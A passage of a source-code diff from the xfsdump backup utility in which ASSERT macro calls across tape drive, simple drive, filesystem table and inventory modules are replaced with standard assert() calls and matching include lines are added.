contextp->dc_mode == OM_NONE ); + assert( contextp->dc_fd >= 0 ); /* use validating tape rewind util func */ @@ -2637,8 +2638,8 @@ do_erase( drive_t *drivep ) mlog( MLOG_DEBUG | MLOG_DRIVE, "drive op: erase\n" ); - ASSERT( contextp->dc_mode == OM_NONE ); - ASSERT( contextp->dc_fd >= 0 ); + assert( contextp->dc_mode == OM_NONE ); + assert( contextp->dc_fd >= 0 ); /* use validating tape rewind util func */ @@ -2681,8 +2682,8 @@ do_eject_media( drive_t *drivep ) /* drive must be open */ - ASSERT( contextp->dc_fd >= 0 ); - ASSERT( contextp->dc_mode == OM_NONE ); + assert( contextp->dc_fd >= 0 ); + assert( contextp->dc_mode == OM_NONE ); /* issue tape unload */ @@ -2913,7 +2914,7 @@ read_label( drive_t *drivep ) /* if a read error, get status */ if ( nread != ( intgen_t )tape_recsz ) { - ASSERT( nread < ( intgen_t )tape_recsz ); + assert( nread < ( intgen_t )tape_recsz ); ok = mt_get_status( drivep, &mtstat ); if ( ! ok ) { status_failed_message( drivep ); @@ -3135,10 +3136,10 @@ set_fixed_blksz( drive_t *drivep, size_t blksz ) /* sanity checks */ - ASSERT( blksz ); - ASSERT( contextp->dc_isvarpr == BOOL_FALSE ); - ASSERT( contextp->dc_cansetblkszpr ); - ASSERT( contextp->dc_fd >= 0 ); + assert( blksz ); + assert( contextp->dc_isvarpr == BOOL_FALSE ); + assert( contextp->dc_cansetblkszpr ); + assert( contextp->dc_fd >= 0 ); /* give it two tries: first without rewinding, second with rewinding */ @@ -3213,7 +3214,7 @@ get_tpcaps( drive_t *drivep ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; - ASSERT( contextp->dc_fd >= 0 ); + assert( contextp->dc_fd >= 0 ); if ( contextp->dc_isrmtpr ) { /* can't ask about blksz, can't set blksz, can't ask about @@ -3386,7 +3387,7 @@ mt_op(intgen_t fd, intgen_t sub_op, intgen_t param ) mop.mt_op = (short )sub_op; mop.mt_count = param; - ASSERT( fd >= 0 ); + assert( fd >= 0 ); switch ( sub_op ) { case MTSEEK: @@ -3458,7 +3459,7 @@ mt_get_fileno( drive_t *drivep, long *fileno) mlog( MLOG_DEBUG | MLOG_DRIVE, "tape op: get fileno\n" ); - ASSERT( contextp->dc_fd >= 0 ); + assert( contextp->dc_fd >= 0 ); if ( ioctl(contextp->dc_fd, MTIOCGET, &mt_stat) < 0 ) { /* failure @@ -3491,7 +3492,7 @@ mt_get_status( drive_t *drivep, long *status) mlog( MLOG_DEBUG | MLOG_DRIVE, "tape op: get status\n" ); - ASSERT( contextp->dc_fd >= 0 ); + assert( contextp->dc_fd >= 0 ); if (TS_ISDRIVER) { /* @@ -3864,7 +3865,7 @@ retry: /* shouldn't be here if drive is open */ - ASSERT( contextp->dc_fd == -1 ); + assert( contextp->dc_fd == -1 ); mlog( MLOG_VERBOSE | MLOG_DRIVE, _("preparing drive\n") ); @@ -3966,7 +3967,7 @@ retry: Close( drivep ); } - ASSERT( IS_ONL( mtstat )); + assert( IS_ONL( mtstat )); /* determine tape capabilities. this will set the drivep->d_capabilities * and contextp->dc_{...}blksz and dc_isQICpr, as well as recommended @@ -4156,7 +4157,7 @@ retry: contextp->dc_recp, tape_recsz, &saved_errno ); - ASSERT( saved_errno == 0 || nread < 0 ); + assert( saved_errno == 0 || nread < 0 ); /* RMT can require a retry */ @@ -4536,7 +4537,7 @@ checkhdr: rec_hdr_t *tprhdrp; drhdrp = drivep->d_readhdrp; tprhdrp = ( rec_hdr_t * )drhdrp->dh_specific; - ASSERT( tprhdrp->recsize >= 0 ); + assert( tprhdrp->recsize >= 0 ); tape_recsz = ( size_t )tprhdrp->recsize; mlog( MLOG_DEBUG | MLOG_DRIVE, "tape record size set to header's " @@ -4657,7 +4658,7 @@ Open( drive_t *drivep ) mlog( MLOG_DEBUG | MLOG_DRIVE, "tape op: opening drive\n" ); - ASSERT( contextp->dc_fd == -1 ); + assert( contextp->dc_fd == -1 ); errno = 0; contextp->dc_fd = open( drivep->d_pathname, oflags ); @@ -4678,7 +4679,7 @@ Close( drive_t *drivep ) mlog( MLOG_DEBUG | MLOG_DRIVE, "tape op: closing drive\n" ); - ASSERT( contextp->dc_fd >= 0 ); + assert( contextp->dc_fd >= 0 ); ( void )close( contextp->dc_fd ); @@ -4695,8 +4696,8 @@ Read( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) "tape op: reading %u bytes\n", cnt ); - ASSERT( contextp->dc_fd >= 0 ); - ASSERT( bufp ); + assert( contextp->dc_fd >= 0 ); + assert( bufp ); *errnop = 0; errno = 0; nread = read( contextp->dc_fd, ( void * )bufp, cnt ); @@ -4731,8 +4732,8 @@ Write( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) "tape op: writing %u bytes\n", cnt ); - ASSERT( contextp->dc_fd >= 0 ); - ASSERT( bufp ); + assert( contextp->dc_fd >= 0 ); + assert( bufp ); *errnop = 0; errno = 0; nwritten = write( contextp->dc_fd, ( void * )bufp, cnt ); @@ -4944,7 +4945,7 @@ read_record( drive_t *drivep, char *bufp ) /* short read */ if ( nread >= 0 ) { - ASSERT( nread <= ( intgen_t )tape_recsz ); + assert( nread <= ( intgen_t )tape_recsz ); mlog( MLOG_DEBUG | MLOG_DRIVE, "short read record %lld (nread == %d)\n", contextp->dc_iocnt, @@ -5006,7 +5007,7 @@ getrec( drive_t *drivep ) contextp->dc_errorpr = BOOL_TRUE; return contextp->dc_msgp->rm_rval; default: - ASSERT( 0 ); + assert( 0 ); contextp->dc_errorpr = BOOL_TRUE; return DRIVE_ERROR_CORE; } @@ -5019,7 +5020,7 @@ getrec( drive_t *drivep ) contextp->dc_nextp = contextp->dc_recp + STAPE_HDR_SZ; - ASSERT( contextp->dc_nextp <= contextp->dc_dataendp ); + assert( contextp->dc_nextp <= contextp->dc_dataendp ); } return 0; @@ -5055,7 +5056,7 @@ write_record( drive_t *drivep, char *bufp, bool_t chksumpr, bool_t xlatepr ) } rval = determine_write_error( drivep, nwritten, saved_errno ); - ASSERT( rval ); + assert( rval ); return rval; } @@ -5094,7 +5095,7 @@ Ring_reset( ring_t *ringp, ring_msg_t *msgp ) mlog( (MLOG_NITTY + 1) | MLOG_DRIVE, "ring op: reset\n" ); - ASSERT( ringp ); + assert( ringp ); ring_reset( ringp, msgp ); } @@ -5125,19 +5126,19 @@ display_ring_metrics( drive_t *drivep, intgen_t mlog_flags ) char *bufszsfxp; if ( tape_recsz == STAPE_MIN_MAX_BLKSZ ) { - ASSERT( ! ( STAPE_MIN_MAX_BLKSZ % 0x400 )); + assert( ! ( STAPE_MIN_MAX_BLKSZ % 0x400 )); sprintf( bufszbuf, "%u", STAPE_MIN_MAX_BLKSZ / 0x400 ); - ASSERT( strlen( bufszbuf ) < sizeof( bufszbuf )); + assert( strlen( bufszbuf ) < sizeof( bufszbuf )); bufszsfxp = "KB"; } else if ( tape_recsz == STAPE_MAX_RECSZ ) { - ASSERT( ! ( STAPE_MAX_RECSZ % 0x100000 )); + assert( ! ( STAPE_MAX_RECSZ % 0x100000 )); sprintf( bufszbuf, "%u", STAPE_MAX_RECSZ / 0x100000 ); - ASSERT( strlen( bufszbuf ) < sizeof( bufszbuf )); + assert( strlen( bufszbuf ) < sizeof( bufszbuf )); bufszsfxp = "MB"; } else if ( tape_recsz == STAPE_MAX_LINUX_RECSZ ) { - ASSERT( ! ( STAPE_MAX_LINUX_RECSZ % 0x100000 )); + assert( ! ( STAPE_MAX_LINUX_RECSZ % 0x100000 )); sprintf( bufszbuf, "%u", STAPE_MAX_LINUX_RECSZ / 0x100000 ); - ASSERT( strlen( bufszbuf ) < sizeof( bufszbuf )); + assert( strlen( bufszbuf ) < sizeof( bufszbuf )); bufszsfxp = "MB"; } else { bufszsfxp = ""; diff --git a/common/drive_simple.c b/common/drive_simple.c index 2b0447d..2e57d8c 100644 --- a/common/drive_simple.c +++ b/common/drive_simple.c @@ -25,6 +25,7 @@ #include #include #include +#include #include "types.h" #include "util.h" @@ -185,7 +186,7 @@ ds_match( int argc, char *argv[], drive_t *drivep ) /* sanity checks */ - ASSERT( ! ( sizeofmember( drive_context_t, dc_buf ) % PGSZ )); + assert( ! ( sizeofmember( drive_context_t, dc_buf ) % PGSZ )); /* determine if this is an rmt file. if so, give a weak match: * might be an ordinary file accessed via the rmt protocol. @@ -234,8 +235,8 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) */ contextp = ( drive_context_t * )memalign( PGSZ, sizeof( drive_context_t )); - ASSERT( contextp ); - ASSERT( ( void * )contextp->dc_buf == ( void * )contextp ); + assert( contextp ); + assert( ( void * )contextp->dc_buf == ( void * )contextp ); memset( ( void * )contextp, 0, sizeof( *contextp )); /* scan drive device pathname to see if remote tape @@ -439,9 +440,9 @@ do_begin_read( drive_t *drivep ) /* verify protocol being followed */ - ASSERT( dcaps & DRIVE_CAP_READ ); - ASSERT( contextp->dc_fd >= 0 ); - ASSERT( contextp->dc_mode == OM_NONE ); + assert( dcaps & DRIVE_CAP_READ ); + assert( contextp->dc_fd >= 0 ); + assert( contextp->dc_mode == OM_NONE ); /* can only read one media file */ @@ -484,7 +485,7 @@ do_begin_read( drive_t *drivep ) free(tmphdr); return rval; } - ASSERT( ( size_t )nread == GLOBAL_HDR_SZ ); + assert( ( size_t )nread == GLOBAL_HDR_SZ ); mlog(MLOG_NITTY, "do_begin_read: global_hdr\n" "\tgh_magic %.100s\n" @@ -585,9 +586,9 @@ do_read( drive_t *drivep, /* assert protocol */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( wantedcnt > 0 ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_ownedp ); + assert( wantedcnt > 0 ); /* pre-initialize reference return */ @@ -595,7 +596,7 @@ do_read( drive_t *drivep, /* count number of unread bytes in buffer */ - ASSERT( contextp->dc_emptyp >= contextp->dc_nextp ); + assert( contextp->dc_emptyp >= contextp->dc_nextp ); remainingcnt = ( size_t )( contextp->dc_emptyp - contextp->dc_nextp ); /* if no unread bytes in buffer, refill @@ -628,7 +629,7 @@ do_read( drive_t *drivep, /* record the ptrs to the first empty byte and the next * byte to be read */ - ASSERT( nread <= BUFSZ ); + assert( nread <= BUFSZ ); contextp->dc_emptyp = contextp->dc_buf + nread; contextp->dc_nextp = contextp->dc_buf; @@ -656,7 +657,7 @@ do_read( drive_t *drivep, /* advance the next ptr to the next byte to be supplied */ contextp->dc_nextp += actualcnt; - ASSERT( contextp->dc_nextp <= contextp->dc_emptyp ); + assert( contextp->dc_nextp <= contextp->dc_emptyp ); /* return the actual number of bytes supplied, and a ptr to the first */ @@ -681,17 +682,17 @@ do_return_read_buf( drive_t *drivep, char *retp, size_t retcnt ) /* verify protocol */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( contextp->dc_ownedp ); + assert( contextp->dc_mode == OM_READ ); + assert( contextp->dc_ownedp ); /* verify returning right buffer */ - ASSERT( retp == contextp->dc_ownedp ); + assert( retp == contextp->dc_ownedp ); /* verify all of buffer provided is being returned */ ownedcnt = ( size_t )( contextp->dc_nextp - contextp->dc_ownedp ); - ASSERT( retcnt == ownedcnt ); + assert( retcnt == ownedcnt ); /* indicate nothing now owned by caller */ @@ -713,8 +714,8 @@ do_get_mark( drive_t *drivep, drive_mark_t *markp ) /* assert protocol */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_ownedp ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_ownedp ); /* calculate the offset of the next byte to be supplied relative to * the beginning of the buffer and relative to the beginning of @@ -746,8 +747,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) /* assert protocol */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_ownedp ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_ownedp ); /* calculate the current offset within the media file * of the next byte to be read @@ -784,7 +785,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) */ nextoff = ( off64_t )( contextp->dc_nextp - contextp->dc_buf ); strmoff = contextp->dc_bufstroff + nextoff; - ASSERT( strmoff == mark ); + assert( strmoff == mark ); return 0; } @@ -808,9 +809,9 @@ do_next_mark( drive_t *drivep ) /* assert protocol */ - ASSERT( dcaps & DRIVE_CAP_NEXTMARK ); - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_ownedp ); + assert( dcaps & DRIVE_CAP_NEXTMARK ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_ownedp ); if ( ! mark ) { return DRIVE_ERROR_EOF; @@ -837,13 +838,13 @@ do_end_read( drive_t *drivep ) /* be sure we are following protocol */ - ASSERT( contextp->dc_mode == OM_READ ); + assert( contextp->dc_mode == OM_READ ); contextp->dc_mode = OM_NONE; /* bump the file mark cnt */ contextp->dc_fmarkcnt++; - ASSERT( contextp->dc_fmarkcnt == 1 ); + assert( contextp->dc_fmarkcnt == 1 ); } /* begin_write - prepare file for writing @@ -871,12 +872,12 @@ do_begin_write( drive_t *drivep ) /* sanity checks */ - ASSERT( dwhdrp->dh_strategyid == DRIVE_STRATEGY_SIMPLE ); + assert( dwhdrp->dh_strategyid == DRIVE_STRATEGY_SIMPLE ); /* assert protocol */ - ASSERT( contextp->dc_fd >= 0 ); - ASSERT( contextp->dc_mode == OM_NONE ); + assert( contextp->dc_fd >= 0 ); + assert( contextp->dc_mode == OM_NONE ); /* only one media file may be written */ @@ -918,7 +919,7 @@ do_begin_write( drive_t *drivep ) contextp->dc_mode = OM_WRITE; tmphdr = (global_hdr_t *)malloc(GLOBAL_HDR_SZ); - ASSERT(tmphdr); + assert(tmphdr); memset(tmphdr, 0, GLOBAL_HDR_SZ); tmpdh = (drive_hdr_t *)tmphdr->gh_upper; tmpmh = (media_hdr_t *)tmpdh->dh_upper; @@ -997,9 +998,9 @@ do_set_mark( drive_t *drivep, /* assert protocol */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( contextp->dc_nextp ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_ownedp ); + assert( contextp->dc_nextp ); /* calculate the mark offset */ @@ -1053,7 +1054,7 @@ do_set_mark( drive_t *drivep, /* assert the header has been flushed */ - ASSERT( contextp->dc_bufstroff >= sizeof( *gwhdrp )); + assert( contextp->dc_bufstroff >= sizeof( *gwhdrp )); /* record mark in hdr */ @@ -1082,7 +1083,7 @@ do_set_mark( drive_t *drivep, content_hdr_t *ch = (content_hdr_t *)mh->mh_upper; content_inode_hdr_t *cih = (content_inode_hdr_t *)ch->ch_specific; - ASSERT( newoff == 0 ); + assert( newoff == 0 ); /* write and seek back to current offset */ @@ -1092,7 +1093,7 @@ do_set_mark( drive_t *drivep, "(on media)\n" ); tmphdr = (global_hdr_t *)malloc(GLOBAL_HDR_SZ); - ASSERT(tmphdr); + assert(tmphdr); tmpdh = (drive_hdr_t *)tmphdr->gh_upper; tmpmh = (media_hdr_t *)tmpdh->dh_upper; tmpch = (content_hdr_t *)tmpmh->mh_upper; @@ -1129,13 +1130,13 @@ do_set_mark( drive_t *drivep, nwritten = write( contextp->dc_fd, tmphdr, sizeof( *tmphdr )); - ASSERT( ( size_t )nwritten == sizeof( *tmphdr )); + assert( ( size_t )nwritten == sizeof( *tmphdr )); free(tmphdr); newoff = lseek64( contextp->dc_fd, contextp->dc_bufstroff, SEEK_SET ); - ASSERT( newoff == contextp->dc_bufstroff ); + assert( newoff == contextp->dc_bufstroff ); } } } @@ -1144,7 +1145,7 @@ do_set_mark( drive_t *drivep, * otherwise put the mark record on the tail of the queue. */ if ( contextp->dc_nextp == contextp->dc_buf ) { - ASSERT( drivep->d_markrecheadp == 0 ); + assert( drivep->d_markrecheadp == 0 ); ( * cbfuncp )( cbcontextp, markrecp, BOOL_TRUE ); return; } else { @@ -1155,7 +1156,7 @@ do_set_mark( drive_t *drivep, drivep->d_markrecheadp = markrecp; drivep->d_markrectailp = markrecp; } else { - ASSERT( drivep->d_markrectailp ); + assert( drivep->d_markrectailp ); drivep->d_markrectailp->dm_nextp = markrecp; drivep->d_markrectailp = markrecp; } @@ -1180,11 +1181,11 @@ do_get_write_buf( drive_t *drivep, size_t wanted_bufsz, size_t *actual_bufszp ) /* assert protocol */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( contextp->dc_nextp ); - ASSERT( contextp->dc_nextp < contextp->dc_emptyp ); - ASSERT( contextp->dc_ownedsz == 0 ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_ownedp ); + assert( contextp->dc_nextp ); + assert( contextp->dc_nextp < contextp->dc_emptyp ); + assert( contextp->dc_ownedsz == 0 ); /* calculate how much buffer remains */ @@ -1237,18 +1238,18 @@ do_write( drive_t *drivep, char *bufp, size_t writesz ) /* assert protocol */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( contextp->dc_ownedp ); - ASSERT( bufp == contextp->dc_ownedp ); - ASSERT( ! contextp->dc_nextp ); - ASSERT( contextp->dc_ownedp < contextp->dc_emptyp ); - ASSERT( writesz == contextp->dc_ownedsz ); + assert( contextp->dc_mode == OM_WRITE ); + assert( contextp->dc_ownedp ); + assert( bufp == contextp->dc_ownedp ); + assert( ! contextp->dc_nextp ); + assert( contextp->dc_ownedp < contextp->dc_emptyp ); + assert( writesz == contextp->dc_ownedsz ); /* calculate next portion of buffer available for get_write_buf, * and indicate no portion is owned. */ contextp->dc_nextp = contextp->dc_ownedp + writesz; - ASSERT( contextp->dc_nextp <= contextp->dc_emptyp ); + assert( contextp->dc_nextp <= contextp->dc_emptyp ); contextp->dc_ownedp = 0; contextp->dc_ownedsz = 0; @@ -1304,10 +1305,10 @@ do_get_align_cnt( drive_t *drivep ) /* assert protocol */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( contextp->dc_nextp ); - ASSERT( contextp->dc_nextp < contextp->dc_emptyp ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_ownedp ); + assert( contextp->dc_nextp ); + assert( contextp->dc_nextp < contextp->dc_emptyp ); /* calculate the next alignment point at or beyond the current nextp. * the following algorithm works because dc_buf is page-aligned and @@ -1317,7 +1318,7 @@ do_get_align_cnt( drive_t *drivep ) next_alignment_off += PGMASK; next_alignment_off &= ~PGMASK; next_alignment_point = ( char * )next_alignment_off; - ASSERT( next_alignment_point <= contextp->dc_emptyp ); + assert( next_alignment_point <= contextp->dc_emptyp ); /* return the number of bytes to the next alignment point */ @@ -1338,14 +1339,14 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) /* assert protocol */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( contextp->dc_nextp ); - ASSERT( contextp->dc_nextp < contextp->dc_emptyp ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_ownedp ); + assert( contextp->dc_nextp ); + assert( contextp->dc_nextp < contextp->dc_emptyp ); /* calculate length of un-written portion of buffer */ - ASSERT( contextp->dc_nextp >= contextp->dc_buf ); + assert( contextp->dc_nextp >= contextp->dc_buf ); remaining_bufsz = ( size_t )( contextp->dc_nextp - contextp->dc_buf ); if ( remaining_bufsz ) { @@ -1387,7 +1388,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) /* bump the file mark cnt */ contextp->dc_fmarkcnt++; - ASSERT( contextp->dc_fmarkcnt == 1 ); + assert( contextp->dc_fmarkcnt == 1 ); *ncommittedp = contextp->dc_bufstroff; contextp->dc_mode = OM_NONE; @@ -1410,15 +1411,15 @@ do_rewind( drive_t *drivep ) /* assert protocol */ - ASSERT( contextp->dc_mode == OM_NONE ); - ASSERT( dcaps & DRIVE_CAP_REWIND ); - ASSERT( contextp->dc_fd >= 0 ); + assert( contextp->dc_mode == OM_NONE ); + assert( dcaps & DRIVE_CAP_REWIND ); + assert( contextp->dc_fd >= 0 ); /* seek to beginning of file */ newoff = lseek64( contextp->dc_fd, ( off64_t )0, SEEK_SET ); if ( newoff ) { - ASSERT( newoff < 0 ); + assert( newoff < 0 ); mlog( MLOG_NORMAL | MLOG_WARNING | MLOG_DRIVE, _("could not rewind %s: %s\n"), drivep->d_pathname, @@ -1446,15 +1447,15 @@ do_erase( drive_t *drivep ) /* assert protocol */ - ASSERT( contextp->dc_mode == OM_NONE ); - ASSERT( dcaps & DRIVE_CAP_ERASE ); - ASSERT( contextp->dc_fd >= 0 ); + assert( contextp->dc_mode == OM_NONE ); + assert( dcaps & DRIVE_CAP_ERASE ); + assert( contextp->dc_fd >= 0 ); /* seek to beginning of file */ newoff = lseek64( contextp->dc_fd, ( off64_t )0, SEEK_SET ); if ( newoff ) { - ASSERT( newoff < 0 ); + assert( newoff < 0 ); mlog( MLOG_NORMAL | MLOG_WARNING | MLOG_DRIVE, _("could not rewind %s in prep for erase: %s\n"), drivep->d_pathname, @@ -1486,7 +1487,7 @@ do_get_device_class( drive_t *drivep ) { mlog( MLOG_NITTY | MLOG_DRIVE, "drive_simple get_device_class( )\n" ); - ASSERT( drivep ); + assert( drivep ); return DEVICE_NONREMOVABLE; } @@ -1500,8 +1501,8 @@ do_quit( drive_t *drivep ) /* assert protocol */ - ASSERT( contextp->dc_mode == OM_NONE ); - ASSERT( contextp ); + assert( contextp->dc_mode == OM_NONE ); + assert( contextp ); /* close file */ diff --git a/common/fs.c b/common/fs.c index 6f4cb6c..b77f6cc 100644 --- a/common/fs.c +++ b/common/fs.c @@ -27,6 +27,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" @@ -127,11 +128,11 @@ fs_info( char *typb, /* out */ if ( canstat && ( statb.st_mode & S_IFMT ) == S_IFBLK ) { if ( ( tep = fs_tab_lookup_blk( usrs )) != 0 ) { blks = tep->fte_blks; - ASSERT( strlen( blks ) < ( size_t )blkbz ); + assert( strlen( blks ) < ( size_t )blkbz ); strcpy( blkb, blks ); mnts = tep->fte_mnts; if ( mnts ) { - ASSERT( strlen( mnts ) < ( size_t )mntbz ); + assert( strlen( mnts ) < ( size_t )mntbz ); strcpy( mntb, mnts ); } else { mntb[ 0 ] = 0; @@ -139,7 +140,7 @@ fs_info( char *typb, /* out */ if ( ( typs = tep->fte_typs ) == 0 ) { typs = typd; } - ASSERT( strlen( typs ) < ( size_t )typbz ); + assert( strlen( typs ) < ( size_t )typbz ); strcpy( typb, typs ); ok = BOOL_TRUE; } else { @@ -147,13 +148,13 @@ fs_info( char *typb, /* out */ } } else if ( ( tep = fs_tab_lookup_mnt( usrs )) != 0 ) { blks = tep->fte_blks; - ASSERT( strlen( blks ) < ( size_t )blkbz ); + assert( strlen( blks ) < ( size_t )blkbz ); strcpy( blkb, blks ); mnts = tep->fte_mnts; - ASSERT( strlen( mnts ) < ( size_t )mntbz ); + assert( strlen( mnts ) < ( size_t )mntbz ); strcpy( mntb, mnts ); typs = tep->fte_typs; - ASSERT( strlen( typs ) < ( size_t )typbz ); + assert( strlen( typs ) < ( size_t )typbz ); strcpy( typb, typs ); ok = BOOL_TRUE; } else { @@ -161,7 +162,7 @@ fs_info( char *typb, /* out */ } fs_tab_free( ); - ASSERT( ok != BOOL_UNKNOWN ); + assert( ok != BOOL_UNKNOWN ); if ( ok == BOOL_TRUE ) { intgen_t rval = fs_getid( mntb, idb ); @@ -281,11 +282,11 @@ fs_tab_ent_build( struct mntent *mntentp ) char *cp; tep = ( fs_tab_ent_t * )calloc( 1, sizeof( fs_tab_ent_t )); - ASSERT( tep ); + assert( tep ); if ( mntentp->mnt_dir ) { cp = calloc( 1, strlen( mntentp->mnt_dir ) + 1 ); - ASSERT( cp ); + assert( cp ); ( void )strcpy( cp, mntentp->mnt_dir ); tep->fte_mnts = cp; } else { @@ -294,7 +295,7 @@ fs_tab_ent_build( struct mntent *mntentp ) if ( mntentp->mnt_type ) { cp = calloc( 1, strlen( mntentp->mnt_type ) + 1 ); - ASSERT( cp ); + assert( cp ); ( void )strcpy( cp, mntentp->mnt_type ); tep->fte_typs = cp; } else { @@ -303,7 +304,7 @@ fs_tab_ent_build( struct mntent *mntentp ) if ( mntentp->mnt_fsname ) { cp = calloc( 1, strlen( mntentp->mnt_fsname ) + 1 ); - ASSERT( cp ); + assert( cp ); ( void )strcpy( cp, mntentp->mnt_fsname ); tep->fte_blks = cp; } else { diff --git a/common/global.c b/common/global.c index 8e49d8b..ed844cc 100644 --- a/common/global.c +++ b/common/global.c @@ -22,6 +22,7 @@ #include #include #include +#include #include "types.h" #include "util.h" @@ -67,13 +68,13 @@ global_hdr_alloc( intgen_t argc, char *argv[ ] ) /* sanity checks */ - ASSERT( sizeof( time32_t ) == GLOBAL_HDR_TIME_SZ ); - ASSERT( sizeof( uuid_t ) == GLOBAL_HDR_UUID_SZ ); + assert( sizeof( time32_t ) == GLOBAL_HDR_TIME_SZ ); + assert( sizeof( uuid_t ) == GLOBAL_HDR_UUID_SZ ); /* allocate a global hdr */ ghdrp = ( global_hdr_t * )calloc( 1, sizeof( global_hdr_t )); - ASSERT( ghdrp ); + assert( ghdrp ); /* fill in the magic number */ @@ -326,7 +327,7 @@ prompt_label( char *bufp, size_t bufsz ) preamblestr[ preamblecnt++ ] = "\n"; preamblestr[ preamblecnt++ ] = fold; preamblestr[ preamblecnt++ ] = "\n\n"; - ASSERT( preamblecnt <= PREAMBLEMAX ); + assert( preamblecnt <= PREAMBLEMAX ); dlog_begin( preamblestr, preamblecnt ); responseix = dlog_string_query( prompt_label_cb, @@ -348,7 +349,7 @@ prompt_label( char *bufp, size_t bufsz ) ackstr[ ackcnt++ ] = _("session label left blank\n"); } - ASSERT( ackcnt <= ACKMAX ); + assert( ackcnt <= ACKMAX ); dlog_string_ack( ackstr, ackcnt ); @@ -357,7 +358,7 @@ prompt_label( char *bufp, size_t bufsz ) postamblestr[ postamblecnt++ ] = "\n"; postamblestr[ postamblecnt++ ] = fold; postamblestr[ postamblecnt++ ] = "\n\n"; - ASSERT( postamblecnt <= POSTAMBLEMAX ); + assert( postamblecnt <= POSTAMBLEMAX ); dlog_end( postamblestr, postamblecnt ); diff --git a/common/hsmapi.c b/common/hsmapi.c index 7f9b45e..0bca9ff 100644 --- a/common/hsmapi.c +++ b/common/hsmapi.c @@ -19,6 +19,7 @@ #include #include #include +#include #include "hsmapi.h" #include "mlog.h" diff --git a/common/inventory.c b/common/inventory.c index fb27048..681d28f 100644 --- a/common/inventory.c +++ b/common/inventory.c @@ -27,6 +27,7 @@ #include #include #include +#include #include "types.h" #include "inventory_priv.h" @@ -51,7 +52,7 @@ inv_open( inv_predicate_t bywhat, void *pred ) int index = 0; - ASSERT ( pred ); + assert ( pred ); if ((fd = init_idb ( pred, bywhat, uuname, &tok )) < 0 ) return tok; @@ -66,7 +67,7 @@ inv_open( inv_predicate_t bywhat, void *pred ) return INV_TOKEN_NULL; } - ASSERT ( index > 0 ); + assert ( index > 0 ); /* Now we need to make sure that this has enough space */ num = GET_SESCOUNTERS( stobjfd, &sescnt ); @@ -145,7 +146,7 @@ inv_lasttime_level_lessthan( time32_t **tm ) { int rval; - ASSERT ( tok != INV_TOKEN_NULL ); + assert ( tok != INV_TOKEN_NULL ); rval = search_invt( tok, level, (void **) tm, (search_callback_t) tm_level_lessthan ); @@ -170,7 +171,7 @@ inv_lastsession_level_lessthan( inv_session_t **ses ) { int rval; - ASSERT ( tok != INV_TOKEN_NULL ); + assert ( tok != INV_TOKEN_NULL ); rval = search_invt( tok, level, (void **) ses, (search_callback_t) lastsess_level_lessthan ); @@ -197,7 +198,7 @@ inv_lastsession_level_equalto( inv_session_t **ses ) { int rval; - ASSERT ( tok != INV_TOKEN_NULL ); + assert ( tok != INV_TOKEN_NULL ); rval = search_invt( tok, level, (void **) ses, (search_callback_t) lastsess_level_equalto ); @@ -236,8 +237,8 @@ inv_writesession_open( invt_seshdr_t hdr; inv_sestoken_t sestok; - ASSERT ( tok != INV_TOKEN_NULL ); - ASSERT ( sesid && fsid && mntpt && devpath ); + assert ( tok != INV_TOKEN_NULL ); + assert ( sesid && fsid && mntpt && devpath ); if ( ! ( tok->d_update_flag & FSTAB_UPDATED ) ) { if ( put_fstab_entry( fsid, mntpt, devpath ) < 0 ) { @@ -264,7 +265,7 @@ inv_writesession_open( fd = tok->d_stobj_fd; - ASSERT ( fd > 0 ); + assert ( fd > 0 ); hdr.sh_time = time; hdr.sh_level = level; @@ -286,7 +287,7 @@ inv_writesession_open( /* create the writesession, and get ready for the streams to come afterwards */ rval = create_session( sestok, fd, sescnt, ses, &hdr ); - ASSERT (rval > 0); + assert (rval > 0); INVLOCK( fd, LOCK_UN ); @@ -324,7 +325,7 @@ inv_writesession_close( inv_sestoken_t tok ) { int rval; - ASSERT ( tok != INV_TOKEN_NULL ); + assert ( tok != INV_TOKEN_NULL ); /* now update end_time in the inv index header */ rval = put_sesstime( tok, INVT_ENDTIME ); @@ -354,7 +355,7 @@ inv_stream_open( invt_seshdr_t seshdr; int fd; - ASSERT ( tok != INV_TOKEN_NULL ); + assert ( tok != INV_TOKEN_NULL ); stream.st_nmediafiles = 0; stream.st_interrupted = BOOL_FALSE; @@ -505,9 +506,9 @@ inv_put_mediafile( int rval; - ASSERT ( tok != INV_TOKEN_NULL ); - ASSERT ( tok->md_sesstok->sd_invtok->d_update_flag & FSTAB_UPDATED ); - ASSERT ( tok->md_sesstok->sd_invtok->d_stobj_fd >= 0 ); + assert ( tok != INV_TOKEN_NULL ); + assert ( tok->md_sesstok->sd_invtok->d_update_flag & FSTAB_UPDATED ); + assert ( 